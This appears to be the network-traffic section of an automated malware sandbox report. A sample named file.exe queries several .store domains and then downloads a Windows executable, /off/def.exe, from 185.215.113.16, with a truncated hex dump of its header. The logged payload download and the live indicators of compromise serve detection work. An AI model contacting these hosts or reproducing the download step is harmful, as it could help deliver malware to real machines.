Oct 29, 2024 18:00:22.868612051 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868626118 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868644953 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868649006 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868664980 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868680000 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868691921 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868691921 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868701935 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868717909 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868724108 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868732929 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868748903 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868762970 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868777990 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868777990 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868793011 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868818045 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.868846893 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.868868113 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.869339943 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987112045 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987149954 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987166882 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987179995 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987195015 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987210035 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987225056 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987240076 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987247944 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987255096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987277985 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987291098 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987292051 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987319946 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987334013 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987334013 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987361908 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987376928 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987397909 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987413883 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987416983 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987416983 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987428904 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987453938 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987468004 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987483025 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987497091 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987510920 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987525940 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987540960 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987555981 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987571001 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987584114 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987596035 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987596035 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987596035 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987596035 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987596035 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987608910 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987631083 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987638950 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987651110 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987663984 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987677097 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987692118 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987704992 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987719059 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987735987 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987745047 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987745047 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987745047 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987751007 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987770081 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987772942 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987786055 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987793922 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987802029 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987827063 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987842083 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987855911 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987871885 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987878084 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987878084 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987894058 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.987926006 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987941027 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987956047 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987970114 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987983942 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.987999916 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988023996 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988023996 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988217115 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988231897 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988253117 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988266945 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988281012 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988289118 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988289118 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988296032 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988317013 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988332987 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988337994 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988356113 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988370895 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988384962 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988406897 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988420010 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988420963 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988440037 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988445997 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988462925 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988478899 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988486052 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988497019 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988512993 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988528013 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988542080 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988544941 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988558054 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988574028 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988584995 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988590002 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988603115 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988603115 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988620996 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988629103 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988656998 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988677025 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.988678932 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.988837004 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.989031076 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.107464075 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107527971 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107563972 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107603073 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107619047 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107633114 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107647896 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107662916 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107677937 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107692003 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107707024 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107722044 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107723951 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.107723951 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.107737064 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107753038 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107760906 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.107769012 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107785940 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.107836008 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.107836008 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.107836008 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.108288050 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108357906 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108397007 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108437061 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.108462095 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108498096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108530998 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108565092 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108583927 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.108616114 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108649969 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108700037 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108733892 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108764887 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108772993 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.108779907 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108802080 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108818054 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108824015 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.108834028 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108846903 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.108854055 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108870029 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108884096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108906031 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108920097 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.108920097 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.108925104 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108941078 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108956099 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108959913 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.108972073 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108988047 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.108994961 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109003067 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109019041 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109030008 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109034061 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109050989 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109055996 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109066010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109082937 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109098911 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109101057 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109101057 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109116077 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109131098 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109143972 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109153032 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109162092 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109177113 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109190941 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109204054 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109205961 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109230995 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109249115 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109249115 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109253883 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109270096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109282970 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109297991 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109313965 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109333992 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109333992 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109333992 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109338999 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109354973 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109375954 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109385014 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109391928 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109406948 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109421968 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109437943 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109438896 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109438896 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109453917 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109467983 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109483004 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109498024 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109505892 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109505892 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.109513044 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.109555960 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.110793114 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.227349997 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:23.399211884 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:23.514445066 CET	49977	80	192.168.2.7	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 17:59:14.316925049 CET	62479	53	192.168.2.7	1.1.1.1
Oct 29, 2024 17:59:14.326596022 CET	53	62479	1.1.1.1	192.168.2.7
Oct 29, 2024 17:59:14.342667103 CET	60466	53	192.168.2.7	1.1.1.1
Oct 29, 2024 17:59:14.352535963 CET	53	60466	1.1.1.1	192.168.2.7
Oct 29, 2024 17:59:14.356211901 CET	57125	53	192.168.2.7	1.1.1.1
Oct 29, 2024 17:59:14.374715090 CET	53	57125	1.1.1.1	192.168.2.7
Oct 29, 2024 17:59:14.377846003 CET	59174	53	192.168.2.7	1.1.1.1
Oct 29, 2024 17:59:14.388322115 CET	53	59174	1.1.1.1	192.168.2.7
Oct 29, 2024 17:59:14.391288996 CET	51203	53	192.168.2.7	1.1.1.1
Oct 29, 2024 17:59:14.416913986 CET	53	51203	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 17:59:14.316925049 CET	192.168.2.7	1.1.1.1	0xb84b	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:14.342667103 CET	192.168.2.7	1.1.1.1	0x903a	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:14.356211901 CET	192.168.2.7	1.1.1.1	0xe6af	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:14.377846003 CET	192.168.2.7	1.1.1.1	0x10ce	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:14.391288996 CET	192.168.2.7	1.1.1.1	0xb4	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 17:59:14.326596022 CET	1.1.1.1	192.168.2.7	0xb84b	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:14.352535963 CET	1.1.1.1	192.168.2.7	0x903a	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:14.374715090 CET	1.1.1.1	192.168.2.7	0xe6af	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:14.388322115 CET	1.1.1.1	192.168.2.7	0x10ce	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:14.416913986 CET	1.1.1.1	192.168.2.7	0xb4	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:14.416913986 CET	1.1.1.1	192.168.2.7	0xb4	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

necklacedmny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49977	185.215.113.16	80	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 18:00:16.000123978 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 18:00:16.921581030 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 17:00:16 GMT Content-Type: application/octet-stream Content-Length: 2824192 Last-Modified: Tue, 29 Oct 2024 15:56:31 GMT Connection: keep-alive ETag: "672105af-2b1800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 70 5c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +p\+`Ui` @ @.rsrc`2@.idata 8@kaxzithc*:@nikdhiya `+@.taggant@+"*@
Oct 29, 2024 18:00:16.921600103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 18:00:16.921612978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 18:00:16.921623945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 18:00:16.921638012 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 18:00:16.921650887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 18:00:16.921664000 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 18:00:16.921675920 CET	1084	IN	Data Raw: a6 f5 9e 4a fe 50 9f 15 07 41 9d 8d 77 77 fa 3b 9b 0c e4 2b e4 aa f1 eb 2a 87 d3 0c 4d 0a 43 26 df 79 29 b7 40 68 04 6b af c0 db 45 50 ae 6f 0b 14 86 bf 3b c8 fb 92 0f 06 a8 9c 01 16 fe 56 19 10 f3 8f 4b fe fc 8b 63 da 97 be 05 74 91 9c 9a 38 d8 Data Ascii: JPAww;+MC&y)@hkEPo;VKct86(VTN#l aHtO}35Wy:k+}{%pI0+T;cYcwxktk;Y4
